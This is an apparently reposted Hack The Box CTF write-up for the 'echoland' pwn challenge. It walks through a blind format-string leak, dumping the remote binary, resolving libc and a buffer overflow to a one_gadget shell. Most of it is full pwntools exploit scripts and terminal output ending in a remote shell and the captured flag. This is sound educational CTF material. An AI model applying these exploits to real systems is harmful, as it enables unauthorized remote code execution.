Hack-The-Box-pwn-challenge[echoland]

详细过程及exp

0. Connect to the binary:

The only information provided with this challenge was an IP address and port number.
You can connect to the binary using for example netcat as below:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# nc 138.68.136.191 32714

🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> HELLO
HELLO

1. Scream.
2. Run outside.
> asd
asd

Typing HELLO or asd resulting in the same value echoed back.
Another option is to (1) Scream…

1
2
3
4
5
1. Scream.
2. Run outside.
> 1
>> AAAAAAA
Your friend did not recognize you and ran the other way!

… but nobody will hear you :)

The last option is to (2) Run outside. but it looks like an infinite loop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 2
2

1. Scream.
2. Run outside.
> 2
2

1. Scream.
2. Run outside.
> 2
2

1. Spot the first vulnerability — Format String:

Simple check with %p as an input leaked some data from the stack and %s crashed the binary.

1
2
3
4
5
6
7
8
9
1. Scream.
2. Run outside.
> %p--%p--%p
0x6e--0xfffffff4--0x10

1. Scream.
2. Run outside.
> %s
/home/ctf/run_challenge.sh: line 2: 31 Segmentation fault ./echoland

You can use Format String vulnerability to your advantage and leak the pointers from binary using %p to get a general overview of the application.

  • dumpbinary.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from struct import *
#-*- coding: utf-8 -*-

context.log_level = 'error'
context.update(arch = 'amd64', os = 'linux')
ip, port = "138.68.136.191:32714".split(":")

def leak_pointers_from_stack(ip,port):
'''Format string - leak pointers to get the libc/main address and architecture.'''
for i in range(0,20):
try:
p = remote(ip,port)
p.sendline("%{}$p".format(i).encode())
sleep(0.2)
leak = p.recv()
x =str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0]
print(x)
p.close()
except:
p.close()
pass

leak_pointers_from_stack(ip,port)

As you can see below, on the target machine there is x64 architecture, ASLR being on, we can leak pointer to the main module at the 12th offset and pointer from libc at the 13th position:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
0 : %0$p
1 : 0x6e
2 : 0xfffffff4
3 : 0x10
4 : 0x1d
5 : 0x7f2fa48984c0
6 : 0x7ffd57971488
7 : 0x100000000
8 : 0xa70243825
9 : (nil)
10 : 0x7fff00000000
11 : 0x100000000
12 : 0x561b128fa400
13 : 0x7f73669d5bf7
14 : 0x1
15 : 0x7ffdd033d9c8
16 : 0x100008000
17 : 0x5555abc312ef
18 : (nil)
19 : 0xe5eeacab581ae7b3

2. Blind Format String — finding magic bytes:

In order to dump binary code, you have to first find any pointer from the main module and it was shown above.

Then you have to automatically grab this pointer for further exploitation using the below function which returns leaked main address — thus bypassing ASLR:

1
2
3
4
5
6
7
8
9
def leak_pointer_to_main():
'''12th pointer is one from the main()'''
p.sendline(b"%12$p")
sleep(1)
p.recvuntil(b"> ")
leak_all = p.recv()
leak = leak_all.decode().split("\n")[0]
print("Leaked main address: " + leak)
return int(leak,16)

Then you have to subtract some bytes till you find ELF magic bytes.

This is an important step, because you should dump the binary from the ELF header segment.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def search_elf_magic_bytes(leaked_main,addr):
'''Search through the process memory to find ELF magic bytes: \x7fELF.'''
while True:
leak_part = b"%9$sEOF" + b"\x00"
try:
p.sendline(leak_part + p64(leaked_main + addr))
resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
print("Deferenced pointer: " + leak.decode("unicode_escape"))
if b"\x7FELF" in leak:
magic_bytes = leaked_main + addr
print("MAGIC BYTES FOUND @: " + hex(magic_bytes))
return magic_bytes, False
break
addr -=0x100
except:
addr -=0x100
p.close()
return addr, True
# Find ELF magic bytes => start_main_address
elf_found=True
addr = 0
leaked_main = 0
while elf_found:
p = remote(ip,port)
print("CURRENT ADDRESS = " + hex(addr))
leaked_main = leak_pointer_to_main() + addr
addr, elf_found = search_elf_magic_bytes(leaked_main,addr)
start_main_addr = addr

The above function search_elf_magic_bytes is very simple:

  1. It connects to the target binary at line 62 until it does not find ELF magic bytes while elf_found — 61st line.
  2. It executes the function leak_pointer_to_main() at line 64 and adds addr variables to the returned by the function address of main.
  3. This addr variable is returned by the search_elf_magic_bytes and it is being decremented by 0x100 until it finds ELF magic bytes, then it will return the calculated pointer to those bytes.
  4. search_elf_magic_bytes handles exceptions, because during pointer deference using %s at line 42 there is a big chance of a Segmentation fault because not every location points to a valid string array.
  5. There is a nice trick at line 45 if you are using Python 3 and working with bytes, to decode those bytes using “unicode_escape” . Usually, it will give better results than “ASCII” or “UTF-8” .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x556120bbf400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x556120bbe000

As you can see above, magic bytes were found and from this point, you can begin leaking bytes to re-create the binary on your machine.

3. Blind Format String — dumping the binary:

By leaking the pointer address to the ELF header you can actually dump the binary code and then decompile it using Ghidra/IDA/Binary ninja or any other RE tool that you like.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def dump_binary(magic_bytes_addr):
'''Dump the binary data'''
base = magic_bytes_addr
leak,leaked = bytearray(),bytearray()
offset = len(leaked)
while offset <= 0x5000:
with open("leak.bin", "ab") as l:
addr = p64(base + len(leaked))
leak_part = b"%9$sEOF\x00"
p.sendline(leak_part + addr)
resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
leaked.extend(leak)
print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Offset: " + str(offset) + ":" + hex(offset)+ " - Leaked data: " + leak.decode("unicode_escape"))
l.write(leak)
l.flush()
offset = len(leaked)

# Dump binary:
dump_binary(start_main_addr)

Using pointer deference at line 77 and proper stack alignment at line 78 dump raw bytes of remote binary to your machine.

The whole binary got the length of 0x5000 bytes, that is why while loop count to 0x5000 at line 74.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x55edf90c8400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x55edf90c7000
Address: 0x55edf90c7000 - Offset: 0:0x0 - Leaked data: \x7fELF\x00
Address: 0x55edf90c7008 - Offset: 8:0x8 - Leaked data: \x00
Address: 0x55edf90c7009 - Offset: 9:0x9 - Leaked data: \x00
Address: 0x55edf90c700a - Offset: 10:0xa - Leaked data: \x00
Address: 0x55edf90c700b - Offset: 11:0xb - Leaked data: \x00
Address: 0x55edf90c700c - Offset: 12:0xc - Leaked data: \x00
Address: 0x55edf90c700d - Offset: 13:0xd - Leaked data: \x00
Address: 0x55edf90c700e - Offset: 14:0xe - Leaked data: \x00
Address: 0x55edf90c700f - Offset: 15:0xf - Leaked data: \x00
Address: 0x55edf90c7010 - Offset: 16:0x10 - Leaked data: \x03
Address: 0x55edf90c7012 - Offset: 18:0x12 - Leaked data: >\x00
......

You can watch the dump file slowly growing using tail -f leak.bin | xxd command.

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# tail -f leak.bin | xxd
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 6011 0000 0000 0000 ..>.....`.......
00000020: 4000 0000 0000 0000 883b 0000 0000 0000 @........;......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......

Voilà, now you can use this leaked file to decompile it using Binary Ninja.

1
2
3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# file echoland
echoland: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=10fa1c1fe305a86450ba9c555e3932a3e5c2633a, for GNU/Linux 3.2.0, not stripped

4. Reverse the leaked binary:

Open the leaked file using any decompiler on leak.bin for example, Binary Ninja and click on _start symbol (Ghidra couldn’t analyze this so well like Binary Ninja and this is not an advertisement ^^):

As you can see this is a typical main function loader and data_12ef should be the pointer to the main() (if you can’t see the screen below, click p ):

When you double click on this address it will redirect you to another one, double click it again and you will see the main() :

Now a bit of Reverse Engineering to get the printf@GOT and then deference it to get the last 3 bytes of printf function address, so you can get the idea of what libc version is being used on the target system.

Above you can see main() — this is the corresponding code to the “Welcome message” where you chose between two options and leak data using format string vulnerability.

At the offset 0000133c and the offset 000013ad you can see sub_1100 call.

This is the call you are looking for — printf@PLT and you can guess it because 1. it prints data at 0000133c 2. decompiled code is vulnerable to format string at line 000013ad .

Above you can see an example of a vulnerable C code from OWASP, can you see the similarities? :)

If yes, go on and double click on sub_1100() to get into the stub.

As you can see now if you double-click on data_3fa8 you should be redirected to the GOT table…

… and indeed, here you are. 0003fa8 offset is the printf@GOT .

5. Get the target libc:

The below function will calculate the proper address of printf@plt during runtime, it is just adding printf@GOT offset to the leaked before the address of ELF magic bytes, which are start_main_addr :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# After reversing - 0x00003fa8
def leak_printf_got(start_main_addr):
'''Leak printf@GOT - which is dynamically linked during runtime'''
printf_GOT = 0x00003fa8
printf_addr = start_main_addr + printf_GOT
print("Leaked printf address: " + hex(printf_addr))
leak_part = b"%9$sEOF\x00"
p.sendline(leak_part + p64(printf_addr))
resp = p.recv()#until(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
libc_printf = hex(u64(leak.ljust(8,b"\x00")))
print("[!!!] Leaked libc printf : " + libc_printf)
return int(libc_printf,16)

libc_printf = leak_printf_got(start_main_addr)

As you can see below, it works, you get the printf() from remote libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x55f8dd753400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x55f8dd752000
Leaked printf address: 0x55f8dd755fa8
[!!!] Leaked libc printf : 0x7fe7f9a4bf70

Now use the last three bytes to query the libc database to check what version of libc is being used on the target system:

  • libc database search

As you can see above, there are 5 different libc to choose from I was sure, the target system was AMD so I picked 3rd one.

In the situation when you have more potentially valid libc to choose from, you can try to decompile more functions from dumped leak.bin and using %s leak their address during runtime, then you should get only one libc.

Click on this libc and download it. It will be used later to calculate the one_gadget address.

  • libc6_2.27-3ubuntu1.4_amd64.so

6. Spot the second vulnerability — buffer overflow:

The second vulnerability could be found for example by fuzzing the app.

Below is my quick and dirty Buffer overflow fuzzer which fuzz the first option with chars between 30–100 length:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def fuzz_buffer_overflow(ip,port):
'''Find the offset of RIP overflow'''
for i in range(30,100):
try:
p = remote(ip,port)
p.sendline(b"1")
sleep(0.3)
p.recv()
print("FUZZING: " + str(i))
p.sendline(cyclic(i))
sleep(0.3)
data = p.recv()
print(data.decode("unicode_escape"))
if b"Segmentation" in data:
print("========================\nBuffer overflow found @: " + str(i) + "\n========================")
break
p.close()
except:
p.close()
pass

fuzz_buffer_overflow(ip,port)

As you can see there is potential buffer overflow at offset 64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 fuzzing.py
......
FUZZING: 63

1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!

FUZZING: 64

1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2: 95 Segmentation fault ./echoland

========================
Buffer overflow found @: 64
========================

7. Get the RCE — calculate one_gadget:

The last step to gain control over the target binary execution flow is to calculate the address of one_gadget.

First use one_gadget on the leaked binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# one_gadget libc6_2.27-3ubuntu1.4_amd64.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Always choose the address with fewer conditions that should be fulfilled.

In above example 0x4f3d5 offset is promising because it needs only one null byte at the rsp+0x40

You can actually overflow those bytes during Buffer Overflow, below was added 0x70 bytes after the one_gadget:

1
2
3
4
5
6
7
8
9
10
11
def get_rce(libc_printf):
printf_libc_offset = 0x0000000000064f70
one_gadget = 0x4f432
rce = libc_printf - printf_libc_offset + one_gadget
print("CALCULATED RCE: " + hex(rce))
p.sendline(b"1")
p.recv()
p.send(b"A"*64 +p64(0x0000000000064f70) + p64(rce) + b"\x00"*0x70)
p.interactive()

get_rce(libc_printf)

The last thing to mention, 65–72 bytes are overflowing probably Frame Pointer and it has to be valid — it should be in the binary memory address space range.

73–80 bytes have to be overflowed with one_gadget — this is actually control over the instruction pointer.

Above, at line 139 I picked just a random low address (printf@GOT) but you could probably overflow this with the one_gadget.

final exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *
from struct import *
#-*- coding: utf-8 -*-

context.log_level = 'error'
context.update(arch = 'amd64', os = 'linux')
ip, port = "138.68.129.154:31898".split(":")

def leak_pointers_from_stack(ip,port):
'''Format string - leak pointers to get the libc/main address and architecture.'''
for i in range(0,20):
try:
p = remote(ip,port)
p.sendline("%{}$p".format(i).encode())
sleep(1)
leak = p.recv()
x = str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0]
print(x)
p.close()
except:
p.close()
pass

# leak_pointers_from_stack(ip,port)
def leak_pointer_to_main():
'''12th pointer is one from the main()'''
p.sendline(b"%12$p")
sleep(1)
p.recvuntil(b"> ")
leak_all = p.recv()
leak = leak_all.decode().split("\n")[0]
print("Leaked main address: " + leak)
return int(leak,16)

def search_elf_magic_bytes(leaked_main,addr):
'''Search through the process memory to find ELF magic bytes: \x7fELF.'''
while True:
leak_part = b"%9$sEOF" + b"\x00"
try:
p.sendline(leak_part + p64(leaked_main + addr))
resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
print("Deferenced pointer: " + leak.decode("unicode_escape"))
if b"\x7FELF" in leak:
magic_bytes = leaked_main + addr
print("MAGIC BYTES FOUND @: " + hex(magic_bytes))
return magic_bytes, False
break
addr -=0x100
except:
addr -=0x100
p.close()
return addr, True

# Find ELF magic bytes => start_main_address
elf_found=True
addr = 0
leaked_main = 0
while elf_found:
p = remote(ip,port)
print("CURRENT ADDRESS = " + hex(addr))
leaked_main = leak_pointer_to_main() + addr
addr, elf_found = search_elf_magic_bytes(leaked_main,addr)

start_main_addr = addr

def dump_binary(magic_bytes_addr):
'''Dump the binary data'''
base = magic_bytes_addr
leak,leaked = bytearray(),bytearray()
offset = len(leaked)
while offset <= 0x5000:
with open("leak.bin", "ab") as l:
addr = p64(base + len(leaked))
leak_part = b"%9$sEOF\x00"
p.sendline(leak_part + addr)
resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
leaked.extend(leak)
print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Offset: " + str(offset) + ":" + hex(offset)+ " - Leaked data: " + leak.decode("unicode_escape"))
l.write(leak)
l.flush()
offset = len(leaked)

# Dump binary:
# dump_binary(start_main_addr)

# After reversing - 0x00003fa8
def leak_printf_got(start_main_addr):
'''Leak printf@GOT - which is dynamically linked during runtime'''
printf_GOT = 0x00003fa8
printf_addr = start_main_addr + printf_GOT
print("Leaked printf address: " + hex(printf_addr))
leak_part = b"%9$sEOF\x00"
p.sendline(leak_part + p64(printf_addr))
resp = p.recv()#until(b"1. Scream.\n2. Run outside.\n> ")
leak = resp.split(b"EOF")[0] + b"\x00"
libc_printf = hex(u64(leak.ljust(8,b"\x00")))
print("[!!!] Leaked libc printf : " + libc_printf)
return int(libc_printf,16)

libc_printf = leak_printf_got(start_main_addr)

def fuzz_buffer_overflow(ip,port):
'''Find the offset of RIP overflow'''
for i in range(30,100):
try:
p = remote(ip,port)
p.sendline(b"1")
sleep(1)
p.recv()
print("FUZZING: " + str(i))
p.sendline(cyclic(i))
sleep(1)
data = p.recv()
print(data.decode("unicode_escape"))
if b"Segmentation" in data:
print("========================\nBuffer overflow found @: " + str(i) + "\n========================")
break
p.close()
except:
p.close()
pass

#fuzz_buffer_overflow(ip,port)

def get_rce(libc_printf):
printf_libc_offset = 0x0000000000064f70
one_gadget = 0x4f432
rce = libc_printf - printf_libc_offset + one_gadget
print("CALCULATED RCE: " + hex(rce))
p.sendline(b"1")
p.recv()
p.send(b"A"*64 +p64(0x0000000000064f70) + p64(rce) + b"\x00"*0x70)
p.interactive()

get_rce(libc_printf)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x561281687400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x561281686000
Leaked printf address: 0x561281689fa8
[!!!] Leaked libc printf : 0x7f1f0dabcf70
CALCULATED RCE: 0x7f1f0daa7432
>> $ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
echoland
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}

other exp script:

  • getshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

import struct
import re

host="138.68.129.154"
port=31898

def search(addr):
# p = remote(args.srv, args.port)
# rec = p.recvuntil("> ")
# print(rec)
p.sendline(b"%9$s___" + b"\x00" + p64(addr))
rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
# print(rec)
# p.close()
return rec.split(b"___")[0] + b"\x00"

def searchelf(addr):
# p = remote(args.srv, args.port)
# rec = p.recvuntil("> ")
# print(rec)
while True:
p.sendline(b"%9$s___" + b"\x00" + p64(addr))
rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
print(rec)
if rec.split(b"___")[0].startswith("\x7FELF"):
break
addr -= 0x1000
# print(rec)
# p.close()
return addr

def get_qword(addr):
data = b""
while len(data) < 8:
p.sendline(b"%9$s___" + b"\x00" + p64(addr))
rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
data += rec.split(b"___")[0] + b"\x00"

data = data[:8]
return u64(data)

def stackleak():
# p = remote(args.srv, args.port)
rec = p.recvuntil(b"> ")
# print(rec)
idx = 2
addrs = {}
while idx < 64:
p.sendline("%{}$p".format(idx))
rec = p.recvuntil(b"> ")
# print(rec)
addrs[idx] = rec.split(b"\n")[0]
idx += 1
print(addrs)
# p.close()
return addrs[12], addrs[13] # main, libc

p = remote(host, port)
main_addr, libc_addr = stackleak()
main_elf = int(main_addr, 16) - 0x1400
libc_elf = int(libc_addr, 16) - 0x21BF7

# print("addr {} elf {}".format(libc_addr, hex(searchelf(libc_elf))))


""" code to copy the entire executable from the memory
offset = 0
f = open("elf2", "a")
while offset < 0x6000:
data = search(addr + offset)

print("{} {}".format(offset, data))
offset += len(data)
f.write(data)
"""
printf_got_offset = 0x3fa8


print("libc {}".format(hex(libc_elf)))
printf_address = get_qword(main_elf + printf_got_offset)
print("printf address {}".format(hex(printf_address)))
binsh_offset = 0x1b3e1a
binsh_address = libc_elf + binsh_offset
print(search(binsh_address))
print("printf address {}".format(hex(printf_address)))
one_gadget_offset = 0x4f432
one_gadget_address = libc_elf + one_gadget_offset

p.sendline("1")
p.recvuntil(">> ")
p.sendline(p64(one_gadget_address) * 11 + b"\x00" * 0x40)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 getshell.py
[+] Opening connection to 138.68.129.154 on port 31898: Done
/root/hackthebox/challenge/pwn/echoland/getshell.py:54: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("%{}$p".format(idx))
{2: b'0xfffffff4', 3: b'(nil)', 4: b'0x1d', 5: b'0x7f0fe1ae44c0', 6: b'0x7ffdeffc7288', 7: b'0x100000000', 8: b'0xa70243825', 9: b'(nil)', 10: b'0x7ffd00000000', 11: b'0x100000000', 12: b'0x55a94d2d0400', 13: b'0x7f0fe14efbf7', 14: b'0x1', 15: b'0x7ffdeffc7288', 16: b'0x100008000', 17: b'0x55a94d2d02ef', 18: b'(nil)', 19: b'0xa9482bc8c760734e', 20: b'0x55a94d2d0160', 21: b'0x7ffdeffc7280', 22: b'(nil)', 23: b'(nil)', 24: b'0xfde16e6a2c00734e', 25: b'0xfc05730f383e734e', 26: b'0x7ffd00000000', 27: b'(nil)', 28: b'(nil)', 29: b'0x7f0fe18cf8d3', 30: b'0x7f0fe18b5638', 31: b'0x7f72e', 32: b'(nil)', 33: b'(nil)', 34: b'(nil)', 35: b'0x55a94d2d0160', 36: b'0x7ffdeffc7280', 37: b'0x55a94d2d018e', 38: b'0x7ffdeffc7278', 39: b'0x1c', 40: b'0x1', 41: b'0x7ffdeffc8ea6', 42: b'(nil)', 43: b'0x7ffdeffc8eb1', 44: b'0x7ffdeffc8eb9', 45: b'0x7ffdeffc8ec9', 46: b'0x7ffdeffc8ed3', 47: b'0x7ffdeffc8ee0', 48: b'0x7ffdeffc8ee6', 49: b'0x7ffdeffc8eef', 50: b'0x7ffdeffc8efb', 51: b'0x7ffdeffc8f09', 52: b'0x7ffdeffc8f13', 53: b'0x7ffdeffc8f1f', 54: b'0x7ffdeffc8f2b', 55: b'0x7ffdeffc8f31', 56: b'0x7ffdeffc8f4c', 57: b'0x7ffdeffc8f59', 58: b'0x7ffdeffc8f61', 59: b'0x7ffdeffc8f6b', 60: b'0x7ffdeffc8f79', 61: b'0x7ffdeffc8fbb', 62: b'0x7ffdeffc8fce', 63: b'0x7ffdeffc8fd7'}
libc 0x7f0fe14ce000
/root/hackthebox/challenge/pwn/echoland/getshell.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
printf address 0x70007f0fe1532f70
/root/hackthebox/challenge/pwn/echoland/getshell.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
b'/bin/sh\x00'
printf address 0x70007f0fe1532f70
/root/hackthebox/challenge/pwn/echoland/getshell.py:94: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/root/hackthebox/challenge/pwn/echoland/getshell.py:95: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil(">> ")
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}

摘自(致敬原作)……

  • 浏览medium.com博客每月有次数限制,并且5$收费,故摘录文章。。。
  • PWN Echoland challenge — HTB